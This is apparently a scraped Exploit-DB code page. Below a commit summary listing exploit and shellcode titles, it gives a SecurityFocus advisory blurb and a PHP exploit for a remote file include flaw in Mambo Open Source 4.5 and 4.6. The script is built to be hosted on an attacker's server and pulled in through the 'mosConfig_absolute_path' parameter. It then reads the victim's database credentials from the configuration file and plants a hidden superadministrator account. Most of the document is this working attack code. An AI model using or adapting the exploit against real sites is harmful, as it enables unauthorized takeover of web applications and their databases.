880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
51 lines
No EOL
2.4 KiB
PHP
51 lines
No EOL
2.4 KiB
PHP
source: https://www.securityfocus.com/bid/9445/info
|
|
|
|
It has been reported that Mambo Open Source may be prone to a remote file include vulnerability that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system. The issue exists because remote users may reportedly influence the include path for external scripts by supplying their own value for the 'mosConfig_absolute_path' variable in the 'mod_mainmenu.php' script.
|
|
|
|
Mambo Open Source versions 4.5 and 4.6 have been reported to be prone to this issue, however other versions could be affected as well.
|
|
|
|
<?php
|
|
/*
|
|
|| Mambo OS v4.5 y v4.6 xploit
|
|
||
|
|
|| This script will insert a superadministrator user to the mambo database.
|
|
|| Change the variables bellow and upload this script to www.url.com/modules/mod_mainmenu.class.php
|
|
|| then go to the victim's url using that url.com like the value in mosConfig_absolute, ex.
|
|
||
|
|
|| http://www.vicitm.com/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.url.com
|
|
||
|
|
|| Advisory: http://www.kernelpanik.org/docs/kernelpanik/mamboadv.txt
|
|
||
|
|
|| Yo_Soy - <yo_soy@raza-mexicana.org>
|
|
|| Raza Mexicana Hackers Team - http://www.raza-mexicana.org
|
|
*/
|
|
|
|
// Just change this vars ------------------------------
|
|
$hacker_nick = 'hax0r';
|
|
$hacker_pass = 'eaea';
|
|
$base_path_url = "/home/victim/public_html/"; # <-- ending slash
|
|
// ----------------------------------------------------
|
|
|
|
$body = <<<END
|
|
<?php
|
|
\$hacker_nick = "$hacker_nick";
|
|
\$hacker_pass = md5("$hacker_pass");
|
|
\$base_path_url = "$base_path_url";
|
|
|
|
include(\$base_path_url."configuration.php");
|
|
\$conn = mysql_connect("\$mosConfig_host", "\$mosConfig_user", "\$mosConfig_password");
|
|
mysql_select_db("\$mosConfig_db");
|
|
\$rmht_sql = "INSERT INTO mos_users VALUES (800, 'hax0r', '\$hacker_nick', 'admin@wherever',
|
|
".
|
|
"'\$hacker_pass', 'superadministrator', 0, 1, 25, '2003-11-11 00:00:00', '0000-00-00 00:00:00
|
|
'); ";
|
|
\$resultado = mysql_query(\$rmht_sql);
|
|
\$rmht_sql = "INSERT INTO mos_core_acl_aro VALUES (800,'users','800',0,'hax0r',0);";
|
|
\$resultado = mysql_query(\$rmht_sql);
|
|
\$rmht_sql = "INSERT INTO mos_core_acl_groups_aro_map VALUES (25,'',800);";
|
|
\$resultado = mysql_query(\$rmht_sql);
|
|
mysql_close(\$conn);
|
|
?>
|
|
END;
|
|
print $body;
|
|
?>
|